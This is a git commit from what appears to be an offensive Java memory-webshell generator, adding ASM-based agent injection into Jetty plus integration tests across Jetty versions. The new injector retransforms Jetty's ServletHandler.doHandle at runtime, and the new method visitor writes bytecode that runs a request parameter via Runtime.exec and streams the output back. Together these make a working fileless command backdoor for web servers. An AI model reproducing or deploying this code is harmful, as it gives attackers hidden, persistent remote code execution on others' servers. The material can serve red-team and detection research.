feat: support jetty command agent with asm (#51)
Dev Deploy / Build Jar (push) Waiting to run
Dev Deploy / Docker Push (push) Blocked by required conditions
Dev Deploy / Deploy to Northflank (push) Blocked by required conditions
Test / UniteTest (push) Waiting to run
Test / ${{ matrix.middleware }} (glassfish) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbossas) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jbosseap) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (jetty) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (payara) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (resin) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springmvc) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (springwebflux) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (tomcat) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (weblogic) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (websphere7) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (wildfly) (push) Blocked by required conditions
Test / ${{ matrix.middleware }} (xxljob) (push) Blocked by required conditions

This commit is contained in:
ReaJason
2025-03-28 23:34:37 +08:00
parent 1ca73c0ac2
commit 1f232d10e0
16 changed files with 412 additions and 16 deletions
@@ -9,6 +9,7 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*;
@@ -232,6 +233,7 @@ public enum Server {
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
@@ -26,6 +26,7 @@ public class ShellType {
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
@@ -1,9 +1,6 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.JettyFilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyHandlerAgentInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.JettyServletInjector;
import com.reajason.javaweb.memshell.injector.jetty.*;
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import net.bytebuddy.implementation.bytecode.assign.Assigner;
@@ -43,6 +40,7 @@ public class JettyShell extends AbstractShell {
.addInjector(LISTENER, JettyListenerInjector.class)
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
.build();
}
}
@@ -51,7 +51,11 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -51,7 +51,10 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.JAKARTA_SERVLET, ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER,
ShellType.JETTY_AGENT_HANDLER,ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
null, List.of(ShellTool.AntSword) // AntSword not supported Jakarta
@@ -51,7 +51,9 @@ public class Jetty61ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -0,0 +1,74 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.Packers;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty75ContainerTest {
public static final String imageName = "reajason/jetty:7.5.4-jdk6";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(jettyPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
testShellInjectAssertOk(getUrl(container), Server.Jetty, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -51,7 +51,11 @@ public class Jetty76ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -51,7 +51,11 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -52,7 +52,11 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER
// ShellType.JETTY_AGENT_HANDLER_ASM // 内置 ASM,但是版本较低 5.0.1, API 不兼容
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -60,6 +64,7 @@ public class Jetty92ContainerTest {
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@@ -51,7 +51,11 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -51,7 +51,11 @@ public class Jetty94ContainerTest {
static Stream<Arguments> casesProvider() {
Server server = Server.Jetty;
List<String> supportedShellTypes = List.of(ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER, ShellType.JETTY_AGENT_HANDLER);
List<String> supportedShellTypes = List.of(
ShellType.SERVLET, ShellType.FILTER, ShellType.LISTENER,
ShellType.JETTY_AGENT_HANDLER,
ShellType.JETTY_AGENT_HANDLER_ASM
);
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
}
@@ -54,8 +54,8 @@ public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
.ignore(ElementMatchers.none())
.disableClassFormatChanges()
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
.with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
.with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
.type(named("org.eclipse.jetty.servlet.ServletHandler"))
.transform(new JettyHandlerAgentInjector())
.installOn(inst);
@@ -0,0 +1,97 @@
package com.reajason.javaweb.memshell.injector.jetty;
import org.objectweb.asm.*;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Constructor;
import java.security.ProtectionDomain;
/**
* @author ReaJason
* @since 2025/3/26
*/
public class JettyHandlerAgentWithAsmInjector implements ClassFileTransformer {
private static final String TARGET_CLASS = "org/eclipse/jetty/servlet/ServletHandler";
private static final String TARGET_METHOD_NAME = "doHandle";
static Constructor<?> constructor = null;
static {
try {
Class<?> clazz = Class.forName(getClassName());
constructor = clazz.getConstructors()[0];
constructor.setAccessible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
public JettyHandlerAgentWithAsmInjector() {
}
@Override
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASS.equals(className)) {
try {
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@Override
protected ClassLoader getClassLoader() {
return loader;
}
};
ClassVisitor cv = getClassVisitor(cw);
cr.accept(cv, ClassReader.EXPAND_FRAMES);
return cw.toByteArray();
} catch (Exception e) {
e.printStackTrace();
}
}
return bytes;
}
public static String getClassName() {
return "{{advisorName}}";
}
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
return new ClassVisitor(Opcodes.ASM9, cv) {
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
}
}
return mv;
}
};
}
public static void premain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
public static void agentmain(String args, Instrumentation inst) throws Exception {
launch(inst);
}
private static void launch(Instrumentation inst) throws Exception {
System.out.println("MemShell Agent is starting");
inst.addTransformer(new JettyHandlerAgentWithAsmInjector(), true);
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
String name = allLoadedClass.getName();
if (TARGET_CLASS.replace("/", ".").equals(name)) {
inst.retransformClasses(allLoadedClass);
}
}
System.out.println("MemShell Agent is working at org.eclipse.jetty.servlet.ServletHandler.doHandle");
}
}
@@ -62,11 +62,9 @@ public class UndertowServletInitialHandlerAgentWithAsmInjector implements ClassF
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
System.out.println(name);
if (TARGET_METHOD_NAME.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
System.out.println(argumentTypes.length);
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
} catch (Exception e) {
e.printStackTrace();
@@ -0,0 +1,196 @@
package com.reajason.javaweb.memshell.shelltool.command.jetty;
import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
/**
* @author ReaJason
*/
public class CommandHandlerAsmMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
public CommandHandlerAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argumentTypes;
}
@Override
public void visitCode() {
super.visitCode();
// Calculate the first available local variable index
int startIndex = 1;
for (Type type : argumentTypes) {
startIndex += type.getSize();
}
// Explicitly define indices for all local variables
int paramNameIndex = startIndex;
int cmdIndex = startIndex + 1;
int processIndex = startIndex + 2;
int inputStreamIndex = startIndex + 3;
int outputStreamIndex = startIndex + 4;
int bufferIndex = startIndex + 5;
int lengthIndex = startIndex + 6;
int exceptionIndex = startIndex + 7;
// Access method arguments - adjust based on whether method is static or not
int baseRequestIndex = 2; // Arg index 1
int requestIndex = 3; // Arg index 2
int responseIndex = 4; // Arg index 3
// Define our parameter name
mv.visitLdcInsn("paramName");
mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex);
// Define labels for try-catch
Label tryStart = new Label();
Label tryEnd = new Label();
Label catchHandler = new Label();
Label returnFalseLabel = new Label();
// Register the try-catch block
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception");
// Start of try block
mv.visitLabel(tryStart);
// Get the parameter: cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param)
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getParameter");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
// Invoke the getParameter method
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4
// If cmd == null, return false
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
mv.visitJumpInsn(Opcodes.IFNULL, returnFalseLabel);
// Set baseRequest.setHandled(true)
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("setHandled");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, baseRequestIndex);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// Execute the command: Process exec = Runtime.getRuntime().exec(cmd);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitVarInsn(Opcodes.ALOAD, cmdIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitVarInsn(Opcodes.ASTORE, processIndex);
// Get input stream: InputStream inputStream = exec.getInputStream();
mv.visitVarInsn(Opcodes.ALOAD, processIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
mv.visitVarInsn(Opcodes.ASTORE, inputStreamIndex);
// Get response output stream: OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
mv.visitLdcInsn("getOutputStream");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/OutputStream");
mv.visitVarInsn(Opcodes.ASTORE, outputStreamIndex);
// Create buffer: byte[] buf = new byte[8192];
mv.visitIntInsn(Opcodes.SIPUSH, 8192);
mv.visitIntInsn(Opcodes.NEWARRAY, Opcodes.T_BYTE);
mv.visitVarInsn(Opcodes.ASTORE, bufferIndex);
// While loop to read and write data
Label loopStart = new Label();
Label loopEnd = new Label();
// Start of loop
mv.visitLabel(loopStart);
// Read data: inputStream.read(buf)
mv.visitVarInsn(Opcodes.ALOAD, inputStreamIndex);
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
mv.visitVarInsn(Opcodes.ISTORE, lengthIndex);
// Check if length == -1
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitInsn(Opcodes.ICONST_M1);
mv.visitJumpInsn(Opcodes.IF_ICMPEQ, loopEnd);
// Write data: outputStream.write(buf, 0, length)
mv.visitVarInsn(Opcodes.ALOAD, outputStreamIndex);
mv.visitVarInsn(Opcodes.ALOAD, bufferIndex);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ILOAD, lengthIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/OutputStream", "write", "([BII)V", false);
// Go back to start of loop
mv.visitJumpInsn(Opcodes.GOTO, loopStart);
// End of loop
mv.visitLabel(loopEnd);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// If cmd is null, continue with original method
mv.visitLabel(returnFalseLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, exceptionIndex); // Store exception in local var 10 and discard it
// End of catch block
mv.visitLabel(afterCatch);
}
}